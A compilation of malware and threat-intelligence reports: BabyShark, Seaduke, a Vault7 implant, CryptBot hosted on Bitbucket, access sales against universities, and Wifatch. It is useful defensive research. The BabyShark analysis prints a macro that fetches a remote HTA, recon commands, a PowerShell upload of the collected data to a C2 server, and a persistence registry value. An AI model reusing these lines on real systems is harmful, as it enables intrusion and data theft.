The Sakula sample inspected contained a 32-bits and a 64-bits DLL obfuscated in its resource section. These DLLs were decoded with a single-byte XOR key of 0x24. The decoding process skipped values with the same XOR key and null (0) values. According to SecureWorks, this code is used for UAC bypass. This is not observed in the Hi-Zor sample.
Due to these differences between the sample in FTA #1020 and the Sakula samples inspected, we have decided to distinguish the malware reverse engineered in the FTA and assign it the distinctive name Hi-Zor. More malware threat analysis to come in future blogs and Fidelis Threat Advisories.
*The Fidelis Threat Research Team*
|
# New BabyShark Malware Targets U.S. National Security Think Tanks
**February 22, 2019**
**By Unit 42**
**Category: Unit 42**
**Tags: Babyshark, KimJongRAT, STOLEN PENCIL**
In February 2019, Palo Alto Networks Unit 42 researchers identified spear phishing emails sent in November 2018 containing new malware that shares infrastructure with playbooks associated with North Korean campaigns. The spear phishing emails were written to appear as though they were sent from a nuclear security expert who currently works as a consultant in the U.S. The emails were sent using a public email address with the expert’s name and had a subject referencing North Korea’s nuclear issues. The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”.
BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to a C2 server, maintains persistence on the system, and waits for further instruction from the operator.
Unit 42 was able to determine the phishing emails targeted at least:
- A university in the U.S. which was to hold a conference about North Korea denuclearization issue at the time.
- A research institute based in the U.S. which serves as a think tank for national security issues, and where the previously referenced nuclear expert currently works.
Expanding our search to public repository samples, we identified additional malicious document samples delivering BabyShark. The original file names and decoy contents of these samples suggested that the threat actor might have interests in gathering intelligence related to not only North Korea, but possibly wider in the Northeast Asia region.
During the investigation, we were able to find links to other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.
## Malicious Documents
BabyShark is a relatively new malware. The first sample we observed is from November 2018. The decoy contents of all malicious documents delivering BabyShark were written in English and were related to Northeast Asia’s regional security issues. While some decoys used content which is publicly available information on the internet, some used content which appears to not be public. Inspecting the metadata of the documents with this non-public content, we suspect that the threat actor likely compromised someone with access to private documents at a U.S. national security think tank.
The malicious documents contain a simple macro which would load BabyShark’s first stage HTA at a remote location.
```vb
Sub AutoOpen()
Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta")
End Sub
```
## BabyShark Malware Analysis
**Analyzed sample details:**
- **SHA256:** 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
- **Create Date:** 2018:12:31 02:40:00Z
- **Modify Date:** 2019:01:10 06:54:00Z
- **Filename:** Oct_Bld_full_view.docm
The sample is a Word document which contains a malicious macro loading BabyShark by executing the first stage HTA file at a remote location below:
```plaintext
https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta
```
After successfully loading the first stage HTA, it sends out an HTTP GET request to another location on the same C2 server, then decodes the response content with the following decoder function.
```vb
Function Co00(c)
L=Len(c)
s=""
For jx=0 To d-1
For ix=0 To Int(L/d)-1
s=s&Mid(c,ix*d+jx+1,1)
Next
Next
s=s&Right(c,L-Int(L/d)*d)
Co00=s
End Function
```
The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys:
```plaintext
HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\14.0\WORD\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\15.0\WORD\Security\VBAWarnings, value:1
HKCU\Software\Microsoft\Office\16.0\WORD\Security\VBAWarnings, value:1
```
It then issues a sequence of Windows commands and saves the results in `%AppData%\Microsoft\ttmp.log`.
```plaintext
whoami
hostname
ipconfig /all
net user
dir "%programfiles%"
dir "%programfiles% (x86)"
dir "%programdata%\Microsoft\Windows\Start Menu"
dir "%programdata%\Microsoft\Windows\Start Menu\Programs"
dir "%appdata%\Microsoft\Windows\Recent"
tasklist
ver
set
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
```
The collected data is encoded using Windows certutil.exe tool, then uploaded to the C2 via a HTTP POST request.
```vb
retu=wShell.run("certutil -f -encode """&ttmp&""" """&ttmp1&"""",0,true)
retu=wShell.run("powershell.exe (New-Object System.Net.WebClient).UploadFile('https://tdalpacafarm[.]com/files/kr/contents/upload.php','"&ttmp1&"');del """&ttmp1&""";del """&ttmp&"""",0,true)
```
BabyShark adds the following registry key value to maintain persistence and waits for further commands from the operator. Unfortunately, we were not able to collect additional commands issued by the operator.
```plaintext
HKCU\Software\Microsoft\Command Processor\AutoRun, value: “powershell.exe mshta https://tdalpacafarm[.]com/files/kr/contents/Usoro.hta"
```
This registry key executes the string value when cmd.exe is launched. BabyShark ensures cmd.exe is launched by registering the following scripts as scheduled tasks:
```plaintext
[%AppData%\Microsoft\Axz\zvftz.vbs]
Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c taskkill /im cmd.exe",0,true)
[%AppData%\Adobe\Gqe\urjlt.js]
wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c taskkill /im cmd.exe"",0,true);
```
## Links to Other Activity
We noticed BabyShark having connections with other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.
### KimJongRAT connection:
- BabyShark and KimJongRAT use the same file path for storing collected system information: `%AppData%/Microsoft/ttmp.log`.
- KimJongRAT had similar interests in targeting national security related targets. The malware was delivered with the following decoys:
| Decoy Filename | Dropper SHA256 |
|----------------|-----------------|
| Kendall-AFA 2014 | c4547c917d8a9e027191d99239843d511328f9ec6278009d83b3b2b8349011a0 |
| U.S. Nuclear Deterrence.pdf | 1ad53f5ff0a782fec3bce952035bc856dd940899662f9326e01cb24af4de413d |
| 제30차한미안보 안내장 (translates to 30 Korea-U.S. National Security Invitation Update) | b3e85c569e89b6d409841463acb311839356c950d9eb64b9687ddc6a71d1b01b |
| Conference Information_2010 | 0c8f17b2130addebcb2ca75bd7a982e37ddcc49d49e79fe60e3fda767f2ec972 |
### STOLEN PENCIL connection:
- A freshly compiled testing version of a PE type BabyShark loader was uploaded to a public sample repository. The sample was signed with the stolen codesigning certificate used in the STOLEN PENCIL campaign. We did not notice any other malware being signed with this certificate.
**SHA256:** 6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c
**Size:** 32,912 bytes
**Compile Date:** 2018-12-21 00:34:35
## Conclusion
BabyShark is being used in a limited spear phishing campaign which started in November 2018 and is still ongoing. The threat actor behind it has a clear focus on gathering intelligence related to Northeast Asia’s national security issues. Well-crafted spear phishing emails and decoys suggest that the threat actor is well aware of the targets, and also closely monitors related community events to gather the latest intelligence.
While not conclusive, we suspect that the threat actor behind BabyShark is likely connected to the same actor who used the KimJongRAT malware family, and at least shares resources with the threat actor responsible for the STOLEN PENCIL campaign. We also noticed testing indicating the attackers are working on a PE loader for BabyShark. The threat actor may use different methods to deliver BabyShark in future campaigns.
Palo Alto Networks customers are protected from this threat in the following ways:
- WildFire and Traps detect all the malware supported in this report as malicious.
- C2 domains used by the attackers are blocked via Threat Prevention.
AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tag: **BabyShark**.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
**Malicious Documents:**
- 7b77112ac7cbb7193bcd891ce48ab2acff35e4f8d523980dff834cb42eaffafa
- 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
- 2b6dc1a826a4d5d5de5a30b458e6ed995a4cfb9cad8114d1197541a86905d60e
- 66439f0e377bbe8cda3e516e801a86c64688e7c3dde0287b1bfb298a5bdbc2a2
- 8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6
- 331d17dbe4ee61d8f2c91d7e4af17fb38102003663872223efaa4a15099554d7
- 1334c087390fb946c894c1863dfc9f0a659f594a3d6307fb48f24c30a23e0fc0
- dc425e93e83fe02da9c76b56f6fd286eace282eaad6d8d497e17b3ec4059020a
- 94a09aff59c0c27d1049509032d5ba05e9285fd522eb20b033b8188e0fee4ff0
**PE version loader, signed with stolen certificate:**
- 6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c
|
# Endpoint Protection
Symantec has uncovered an elusive Trojan used by the cyberespionage group behind the “Duke” family of malware. Seaduke (detected by Symantec as Trojan.Seaduke) is a low-profile information-stealing Trojan which appears to be reserved for attacks against a small number of high-value targets.
Seaduke has been used in attacks against a number of major, government-level targets. The malware hides behind numerous layers of encryption and obfuscation and is capable of quietly stealing and exfiltrating sensitive information such as email from the victim’s computer. Seaduke has a highly configurable framework and Symantec has already found hundreds of different configurations on compromised networks. Its creators are likely to have spent a considerable amount of time and resources in preparing these attacks, and the malware has been deployed against a number of high-level government targets.
While the Duke group began to distribute Cozyduke in an increasingly aggressive manner, Seaduke installations were reserved only for select targets. Seaduke victims are generally first infected with Cozyduke and, if the computer appears to be a target of interest, the operators will install Seaduke.
## Background
The group behind Seaduke is a cyberespionage operation that is responsible for a series of attacks against high-profile individuals and organizations in government, international policy, and private research in the United States and Europe. It has a range of malware tools at its disposal, known as the Dukes, including Cozyduke (Trojan.Cozer), Miniduke (Backdoor.Miniduke), and Cosmicduke (Backdoor.Tinybaron).
News of the Duke group first emerged in March and April of 2015, when reports detailing attacks involving a sophisticated threat actor variously called Office Monkeys, EuroAPT, Cozy Bear, and Cozyduke were published. Symantec believes that this group has a history of compromising governmental and diplomatic organizations since at least 2010.
The group began its current campaign as early as March 2014, when Trojan.Cozer (aka Cozyduke) was identified on the network of a private research institute in Washington, D.C. In the months that followed, the Duke group began to target victims with “Office Monkeys”- and “eFax”-themed emails, booby-trapped with a Cozyduke payload. These tactics were atypical of a cyberespionage group. It’s quite likely these themes were deliberately chosen to act as a smokescreen, hiding the true intent of the adversary.
The Duke group has mounted an extended campaign targeting high-profile networks over extended periods, something which is far beyond the reach of the majority of threat actors. Its capabilities include:
- Attack infrastructure leveraging hundreds of compromised websites
- Rapidly developed malware frameworks in concurrent use
- Sophisticated operators with fine-tuned computer network exploitation (CNE) skills
Although Cozyduke activity was first identified in March 2014, it wasn’t until July that the group managed to successfully compromise high-profile government networks. Cozyduke was used throughout these attacks to harvest and exfiltrate sensitive information to the attackers.
In parallel, the Duke group was also installing separate malware onto these networks, namely Backdoor.Miniduke and the more elusive Trojan.Seaduke. It could use these payloads to exploit networks on multiple fronts and provide it with additional persistence mechanisms.
## The Miniduke payload
In July of 2014, the group instructed Cozyduke-infected computers to install Backdoor.Miniduke onto a compromised network. Miniduke has been the group’s tool of choice for a number of years in espionage operations predominantly targeting government and diplomatic entities in Eastern Europe and ex-Soviet states. “Nemesis Gemina” appears to be the internal name for the framework used by the group to identify the project, previously reported by Kaspersky.
The following debug string was present in the sample used in these attacks:
`C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb`
This project name has been seen in Backdoor.Tinybaron (aka Cosmicduke) samples, which Symantec also attributes to the Duke group. This deployment of Miniduke and the technical similarities with Cozyduke provided strong indicators as to who was behind the attacks.
## The Seaduke payload
These attacks were already well underway when another group began to deploy a previously unknown piece of malware. In October 2014, the Seaduke payload began to appear within target networks. Although Seaduke was developed in Python, the overall framework bears a striking resemblance to Cozyduke in terms of operation. It’s unclear why the attackers waited until October to deploy Seaduke. Was it reserved for a more specific attack? Was part of their cover blown, necessitating the use of an alternative framework?
The Seaduke framework was designed to be highly configurable. Hundreds of reconfigurations were identified on compromised networks. The communication protocol employed had many layers of encryption and obfuscation, using over 200 compromised web servers for command and control. Seaduke required a significant investment of time and resources in the preparatory and operational phases of the attack.
## Seaduke delivery
The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading “tasks” to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website.
## Seaduke operation
The attackers can operate Seaduke in a broadly similar fashion to Cozyduke. The Seaduke control infrastructure is essentially distinct, opening up the possibility of sub-teams concurrently exploiting the target network. Unlike Cozyduke, Seaduke operators upload “task” files directly to the command-and-control (C&C) server; there is no database as such present. Seaduke securely communicates with the C&C server over HTTP/HTTPS beneath layers of encoding (Base64) and encryption (RC4, AES). To an untrained eye, the communications look fairly benign, no doubt an effort to stay under the radar on compromised networks.
Seaduke has many inbuilt commands which are available to the attackers. They have the ability to retrieve detailed bot/system information, update bot configuration, upload files, download files, and self-delete the malware from the system. The self-delete function is interestingly called “seppuku,” a form of Japanese ritual suicide.
## Seaduke payloads
The attackers have also developed a number of additional payloads. Operators can push these payloads onto infected machines for very specific attacks.
- Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell)
- Email extraction from the MS Exchange Server using compromised credentials
- Archiving sensitive information
- Data exfiltration via legitimate cloud services
- Secure file deletion
## What next?
The Duke group has brought its operational capability to the next level. Its attacks have been so bold and aggressive that a huge amount of attention has been drawn to it, yet it appears to be unperturbed. Its success at compromising such high-profile targets has no doubt added a few feathers to its cap. Even the developers reveled in this fact, naming one of Seaduke’s functions “forkmeiamfamous.”
While the group is currently keeping a lower profile, there’s no doubt it will reappear. Some tools may have to be abandoned, some reworked, and others built completely from scratch. This attack group is in it for the long haul.
|
# Wikileaks Vault7 JQJSNICKER Code Leak
This is a high-level and quick analysis to get the ball rolling as there did not seem to be anything public on this binary leak. I wanted to note a few things so that malware researchers could follow up. Please feel free to email me corrections and additions to Marc at the name of this website.com. Twitter updates happen here: @marcmaiffret.
Wikileaks decided to redact all binaries that were part of the CIA leak. There seems to be two binaries, however, that they either decided to not redact or simply made a mistake.
The first is `win32-srv8.zabbix-tech.com.exe`, which was just simply left for download. This has been referenced in a few places online, and I assume analyzed by someone somewhere.
The one I wanted to make a quick note about was in relation to JQJSNICKER. Wikileaks redacted all binaries on this page by replacing them with a PDF that mentions the files are still being examined. They did, however, allow the downloading of the file `installer.reg`. This is a Windows Registry key file that when imported on a system will create a scheduled task within Windows. After cleaning up the .reg file by replacing # characters with nothing, you will then have a key value Data variable, and within that is a base64 encoded DLL executable.
This decodes to a DLL which had been named `installer.dll`. This is a .NET application that you can decompile in any .NET decompiler such as Jetbrains dotPeek. The authors did try for some mild .NET code obfuscation by using Redgate's .NET obfuscator SmartAssembly.
The `Installer.dll` itself has some interesting functionality, including launching a PowerShell command with `executionPolicy unrestricted`.
What is more interesting is another encoded .NET DLL within the resources section of `Installer.dll`. This is also Base64 encoded and decodes to a file `Core.dll`. `Core.dll` appears to be a command and control, or more so, command and execute program. It should be noted that there are characteristics of this program that fit with implant design recommendations that are documented throughout the Vault7 leaks. One notable aspect of `Core.dll` is it referenced URLs at the website notepad.cc.
Notepad.cc was a public website like Pastebin where people could anonymously post content to later be referenced via static URLs. I am posting this quick so more time is needed to investigate exactly how those URLs are leveraged. It should be noted that the developer of Notepad.cc shut down the website in December 2015.
Another aspect of the callback mechanism is that it appears to have a typo in the user agent header which could be used from a signature perspective. The `UserAgent` variable is missing the closing `)`. It is also worth noting they used a touch-enabled device user agent string as signified by the "Touch" at the end. It is possible they copy and pasted from the touchscreen Dell laptops in their labs.
There is more in these binaries, but I wanted to get something up quick so that the much better full-time malware reverse engineers can have a look. Lastly, it should be noted that when I first uploaded these binaries to Virus Total, the detection was 2/59 for the `Installer.dll` and 1/60 for the `Core.dll`.
What is interesting is that Kaspersky was one of the only scanners to have detection so far. This makes sense as it is my understanding that Kaspersky has an internal report on this malware in which they point out this possible Wikileaks binary mistake that I am documenting here. Not sure that they have made that public yet but did not see anything on their blog at the time of writing. Note the reason that ZoneAlarm is detecting this also is because they license Kaspersky's engine. It is also interesting to note that Kaspersky, at the time this was written, was not detecting `Core.dll` (embedded within `Installer.dll`). I am not sure if that is because they did not see that in their analysis or signature updates had just not hit Virus Total yet.
The code has mechanisms to clean itself from a system. There are, however, artifacts that could possibly be left on accident and or on a system that never had a cleanup initialized. One of those examples is a registry key that seems unique to this malware: `SOFTWARE\Microsoft\DRM\{cd704ff3-cd05-479e-acf7-6474908031dd}`.
You can download the reg file and binaries from here. The password is JQJSNICKER. I will post updates of any additions or corrections that people might send, but really my goal is to make sure malware researchers are checking this out and putting out further public analysis.
|
# 40,000 CryptBot Downloads per Day: Bitbucket Abused as Malware
Public source code repository at Bitbucket.org was abused to host CryptBot, Buer loader with NuclearBot and Cryptominer.
## AutoHotkey Downloader
We found the Bitbucket repository via a malicious AutoHotkey downloader. The AutoHotkey script is located in the PE resources with the RCDATA resource type. We used Resource Hacker to access the script. The downloader checks IP and location information of the infected system via http://ip-api.com/line/ and puts the result into %TEMP%/ip_.txt. Then it calls two shortened URLs at https://iplogger.org. This URL shortener service provides statistics and location tracking for the shortened links. The site's content is downloaded to %TEMP%/loger.txt and %TEMP%/loger2.txt. It proceeds to check the country code in ip_.txt and will download PCBoosterSetup.exe for the following country codes: TR, FR, US, DE, GB, HR, HU, RO, PL, IT, PT, ES, CA, DK, AT, NL, AU, AR, NP, SE, BE, NZ, SK, SO, GR, BG.
PCBoosterSetup.exe is an installer for PC Booster by Energizer Softech. This software is not malicious, but potentially unwanted. The AutohotKey downloader was submitted by the name setupres.exe to VirusTotal, so it is probably advertised and distributed as PC Booster installer making this a classic trojan horse. The trojan downloads and executes three files from a public Bitbucket.org repository to %APPDATA%: 1.exe, 3.exe, and 4.exe. Only two of those files were present on Friday evening, 31 January 2020, when we first analyzed the trojan.
## Lewis Shields' Bitbucket Repository
The Bitbucket repository "new" by the user Lewis Shields contains no source code but three binary files in the downloads section. Two of which are downloaded by the AutohotKey sample. The repository exists since 16 January 2020. The files are renewed every few hours, the intervals are different for each file. We observed renewal of 1.exe and 4.exe approximately every 5 hours, and renewal of 9.exe approximately once a day.
| Filename | Approximate download rate (observed from 31 Jan 2020 to 3 Feb 2020) | Malware family |
|----------|---------------------------------------------------------------------|----------------|
| 1.exe | 800 downloads per hour | Buer loader and NuclearBot |
| 4.exe | 2,700 downloads per hour | Coinminer loader |
| 9.exe | 1,800 downloads per hour | CryptBot |
That means there are more downloaders that access this repository. We downloaded two sets of samples and identified the malware families. We contacted technical support of Atlassian on Friday afternoon and notified them about the malware hosting repository. Reporting took a bit of effort because it required registration and the forms weren't suited for security issues. On Monday morning an employee at Atlassian contacted me via Twitter because they had seen our tweet. It was due to said employee that the repository was taken down on Monday, 3 February 2020, 67 hours after our report. Given the approximate download rates, more than 355,100 downloads were done during that time frame.
## Buer Shipping NuclearBot
All Lewis Shields' samples are packed with Themida. We identified the samples named "1.exe" as Buer loader with NuclearBot aka TinyNuke. It creates a file in C:\ProgramData\UBlockPlugin\plugin.exe and executes it. The process tree of VMRay shows process injection via CreateRemoteThread from plugin.exe into secinit.exe. NuclearBot is classified as banking trojan. According to Malpedia criminals put up the malware for sale for 25,000 USD in 2016. Its source code was published on Github in the meantime and the author of NuclearBot has been arrested in 2019.
## CryptBot Infostealer Infects Thousands
The samples named "9.exe" are infostealer which were identified as CryptBot. CryptBot made news on Bleepingcomputer in December 2019 for being installed via a fake VPN site. Among others it steals credentials for browsers, cryptocurrency wallets, browser cookies, and creates screenshots of the infected system. Using that panel we can check stats for certain countries during the time frame the repository was still up. Below is the top 15.
| Nr | Country | Number of infected systems |
|----|---------|---------------------------|
| 1 | IN | 5112 |
| 2 | ID | 2747 |
| 3 | BR | 2216 |
| 4 | PK | 1837 |
| 5 | US | 1325 |
| 6 | PH | 1325 |
| 7 | TR | 1277 |
| 8 | EG | 1239 |
| 9 | VN | 938 |
| 10 | IT | 888 |
| 11 | TH | 873 |
| 12 | DE | 846 |
| 13 | FR | 834 |
| 14 | MX | 822 |
| 15 | KR | 759 |
The sum of entries in that time frame amounts to 41,620, which is 627 entries per hour. The download rate of CryptBot samples in Lewis Shields' repository on the other hand was about 1,800 per hour. So we know that at least two thirds of those downloads do not lead to an infection. It is very likely that other CryptBot hosts are used, which makes the rate of downloads not leading to infection higher than that. Those non-infective downloads may stem from automated analysis systems or they are due to Antivirus products which didn't stop the downloader but the CryptoBot sample from executing.
## Reaction Times are Crucial
Given the number of approximately 355,100 malware downloads for the time frame from reporting to take down of the repository, we can see that early reaction times are crucial. This includes easy access with tailored forms to contact support for security-related issues. It also includes having security-savvy employees to recognize the importance of the issue and respond to the situation in time. In this case, it was due to Twitter and an observant employee that the malware hosting repository was taken down 67 hours after the report.
## Sample Hashes
| Sample | Filename | SHA256 |
|------------------|---------------------------|------------------------------------------------------------------------|
| [1] | setupres.exe | 7d1c47f69805ec4009c0620dadbddeff7a1eaa98eb5a296fbc6ba4cd479c706b |
| [2] Buer, | 1.exe | 6e713cf82173de60a69dc7ed84d3b006aeb35e8058553155eee674452e1e2017 |
| [3] Buer, | 1.exe | b68ee1ba36aa100a393710bc06142a742d7e59d62b8204ec4991625467c189b2 |
| | 4.exe | c215fdd20f2cda8177c79e7b4b5f0d97ed5dd858e3376f5746dfc99c475329b1 |
| | 4.exe | fd60c32090c2171e6fa227e2bc29f72a1c28555f62ea2f01a334fa72af87ab00 |
| [6] CryptBot | 9.exe | 3c3bd6438dbaa3fd9727f0bf699c5e61f02de1e8896d7e87a5d6436b2d844d81 |
| [7] CryptBot | 9.exe | 2f2db989204f89ae8d8512ff0168857a7c613c4a26d0817ffd93a552f1ce96bc |
| [8] PC | PCBoosterSetup.exe | 636a31559c9a532a8ada119380129f9362f6c68b3456228766b3672ae3d676d8 |
Karsten Hahn
Malware Analyst
|
# Back to School: Why Cybercriminals Continue to Target the Education Sector | Part One
Just a few of the major headlines regarding the education sector have looked like this over the last couple of months:
- Blackbaud Hack: Universities Lose Data to Ransomware Attack
- The University of California Pays $1 Million Ransom Following Cyber Attack
- University of York Discloses Data Breach, Staff and Student Records Stolen
The past year has seen a rise in the amount of education-related institutions that have been affected by cyberattacks. In 2019 alone, the K-12 cyber incident map reported that 348 schools have publicly disclosed that they’ve been a victim of a cyberattack. That’s just in the United States and doesn’t even take into account the universities and colleges, which would by all means cause those numbers to escalate.
These statements got us wondering:
- Are underground threat actors actively looking for and interested in targeting organizations in the education sector?
- What types of attacks are we seeing affecting the education sector?
- What have been some of the recent attempted attacks that we’ve seen in the underground ecosystem?
- Are these targeted attacks on the universities themselves or are they stemming from access through a third-party provider?
These are all questions that will be addressed throughout this blog post.
## Cybercriminals Looking for the Big Money
At first glance, educational institutions, such as universities, local and state district schools, colleges, and others, may seem of little to no worth to underground threat actors. However, if that were the case, it would likely have nothing to do with the ethical factors of attacking educational institutions – something that was taken into consideration by threat actors discussing targeting the health sector.
While browsing through various underground forums, we’ve found many threat actors claiming that they’re not looking to target any businesses that have annual revenue less than $300 million, or any institutions in the government, education, healthcare, hotel, and e-commerce sectors. What do cybercriminals assume those may have in common? It’s merely a matter of profiting maximally. Underground cybercriminals don’t seem to view the big money from attacking the organizations listed above, and therefore prefer to place their efforts elsewhere.
Though many cybercriminals seem to stand behind this, we still noticed that there are still a good amount of them that do in fact choose the route of targeting educational institutions as they do see potential profits, and sometimes even very big ones. The following section in this post will dive into how institutions in the education sector are being targeted in all different ways, causing some of them to eventually incur severe financial costs.
## A Look into Educational Institution Attempts and Attacks
From large databases posted for sale, to remote admin access available on auto shops, and ransomware negotiations, institutions in the education sector have seen heaps of different threats and potential attacks.
Just last week, analysts at KELA noticed two university databases being sold on an underground forum – one pertaining to a London-based college, and the other to the university in California – both sold by the same actor, “Neversec.”
Following a quick assessment on this threat actor, our team assessed that Neversec is a rather new threat actor who registered on this forum on July 11. His past activities showed him selling databases belonging to a Saudi Arabian company and government agencies in the Dominican Republic, Chile, and Malaysia. Additionally, we found him sharing two guides for cybercriminals across underground forums, one of them being the StationX guide and cybersecurity course. In the case of the two institutions listed above, Neversec claimed that he successfully managed to obtain the databases directly from the institutions’ systems themselves.
Once we acquired samples and began our analysis, we found that the two databases contain at least first and last names, emails, phone numbers, and addresses. Though small in quantity – 1,800 records for the California-based university and an even smaller 720 for the London one – we weren’t quick to deem this unimportant just yet. These credentials – belonging to the institutions’ students, staff, and alumni – can be leveraged for phishing attacks, something that could provide threat actors with an initial foothold into the networks of the universities. Once they’ve got this first foot in the door, threat actors may easily use this unprivileged access to further explore the victims’ networks and may eventually deploy ransomware or other malware on the institutions’ systems.
Take the case of the University of California, for example. Though we do not know if it was as a result of a compromise through phishing emails, the university paid a ransom of more than $1 million. As with any business, cybercriminals must start from somewhere and all they need is that initial foothold – something that compromised credentials may assist them with.
Browsing further through some cybercrime forums, we stumbled upon a threat actor going by the handle “maroder” (previously “ailing”) posting access to two university networks for sale. In his past, maroder was seen selling accesses to various organizations’ networks, as well offering services of fund withdrawals from crypto exchanges, and even selling dumps of crypto exchanges. After conversing further with the seller, we managed to identify these victims to be two major universities, one in Israel and another in Germany.
Selling so-called “access” is a rather fluid term and can enable a plethora of different actions for threat actors, depending on each of their goals. Though the threat actor cannot confirm whether the access is on an admin level or not, he does specify that this will enable Citrix access to the universities’ networks.
Maroder/ailing’s activities targeting education-related institutions didn’t stop there. Among one of his latest activities, from this past weekend, maroder was seen selling Citrix access to a school in the UK with a current revenue of $100 million and more than 500 employees. Since this was only some days ago, the access again is undetermined; however, maroder seems to be hunting down more targets of this type.
As mentioned above, compromised credentials can be an initial foothold for a larger attack. However, access to servers either via a direct attack or through a third party can cause even more severe damage to victims.
By using DARKBEAST – KELA’s Darknet threat hunting technology – we ran a quick search for breached servers including the search term <university>, and were left with dozens of education-related institutions with compromised website access for sale.
Take this web shell access to a university’s network for example. Upon purchase, buyers would gain immediate access to run a number of operations against the university such as editing files, editing the server’s root directory, sending emails from the domain, and more. This web shell access can grant threat actors several different routes of attack once they’ve gotten in.
At other times, we’ve seen universities being targeted as part of an attempted larger attack. On a well-known underground forum, we recently came across a threat actor posting VPN access for sale belonging to a US-based university; however, when analyzing further content in the listing, most attention was pointing at the potential access it provides to a prominent US ISP and managed service company – the hosting service of the university. Upon further analysis, we determined the access to this service company false; however, would it have been true, it would have made the perfect use case for an example of something that can be used for deploying ransomware or other malware, stealing data, etc. Even though this was purely a marketing scheme, utilizing universities in an aim to attack a bigger target is a common occurrence.
Just last week, we noticed a threat actor selling access to another US-based university that was linked to many other big corporations. We found a threat actor identifying as “EronM” on a Russian-language cybercrime forum offering access to various organizations across different fields. This threat actor was leveraging corporations linked to other larger organizations to maximize profits further than just the university itself. In this case, the university was linked by domain trust to a large Japanese company, which could mean that users in the university’s trusted domain could authenticate to resources of the company. Cybercriminals could therefore leverage this access to compromise the larger company’s network.
## Key Takeaways
As highlighted in several of the examples above, threats don’t always necessarily stem from a direct target on the university itself, and even when direct attacks occur, they’re not necessarily in an aim to attack the institution itself; rather, it may be a part of a larger, more profitable attack. Nowadays, organizations are obligated to look out for any potential threats on their entire supply chain in addition to their direct assets. The supply chain of organizations, though sometimes overlooked, can offer threat actors the perfect entry point into organizations. As seen in the ongoing weekly occurrences, institutions in the education sector are surely a target for many cybercriminals. These institutions should leverage advanced threat intelligence technologies to monitor their assets in real time, to ensure that they’re maintaining a reduced attack surface and catching any potential threats at an early stage.
|
# Wifatch: Atypical Malware
**Nur Syazana bt. Mohd. Adi Firdaus Tan**
**Dr. Selvakumar Manickam**
National Advanced IPV6 Centre
Universiti Sains Malaysia (USM)
Penang, Malaysia
[email protected]
[email protected]
## Abstract
This paper encompasses the review of the malware Wifatch that was discovered in 2014, how it has impacted Internet of Things (IoT) devices, how it has changed the typical perception of malware having a malicious nature, and what has been revealed in its role in security.
**Keywords**— Malware; Linux; Symantec; Internet of Things; P2P.
## I. INTRODUCTION
According to Fisher (2018), the composition of the word “malware” originates from the combination of “malicious” and “software”. It is used to depict the nature of software that is created with ill intentions such as intrusion of permission on a computer to steal personal information through the usage of a backdoor. Software that behaves in such a way that it wasn’t intended to could also be classified as malware. They exist in forms such as rootkits, spyware, Trojans, adwares, viruses, and worms – all of which are used to complete tasks such as stealing data that are protected, deleting, or even adding software without the user’s approval or acknowledgement.
In a modernized world, the need for a globalized network of machines that are capable of interacting with one another is the basis of Internet of Things – which is also known as Internet of Everything. In simpler terms, IoT is defined as devices that are linked to the Internet and are equipped with sensors and actuators.
By infiltrating a vulnerable Telnet authentication, Wifatch uses a backdoor through routers at home to communicate with a Command & Control (C&C) server. What makes it unique is that although it is classified as malware, it acts as a guard against other forms of infection without any malicious intent to its host – hence, it is categorized as a white-hat Trojan.
## II. THE DISCOVERY
In 2014, an unusual activity was detected on a home router by an independent security researcher in which the process was not part of the original device’s software. Upon further investigation, an intricate and sophisticated code designed in Perl was discovered that had caused the router to involuntarily connect to other infected networks of peer-to-peer devices. This was further investigated by Symantec.
Known for its “good” intentions, Symantec’s Mario Ballano made a point that it could be manipulated to inflict detrimental damage at any given time through its general purpose back doors. It is still regarded as malware since it infects the device without the user’s consent. Relying on malware to “guard” one’s system would not exactly be a wise choice, and thus it is still placed under careful watch.
## III. IMPACT ON IOT
It has been reported that there were speculations whereby Wifatch was created in attempts to fend against surveillance by governmental agencies – for instance, National Security Agency (NSA). A comment left in the piece of code quoted from Richard Stallman in this malware hints on defending constitutional rights of the people. Knowing the nature of how home routers could be used as a medium to spread updates without acknowledgement from the user – this malware will urge the device’s owner to make use of stronger passwords, aside from updating the current firmware as such ignorance could lead to future mishaps.
In order to “prevent” certain devices such as the CCTV (of which Wifatch is unable to “protect” against other malwares), it was designed to reboot the system after a certain period of time - taking advantage of the fact that malwares in embedded systems are not as persistent, and that a reinstallation must take place for them to take effect.
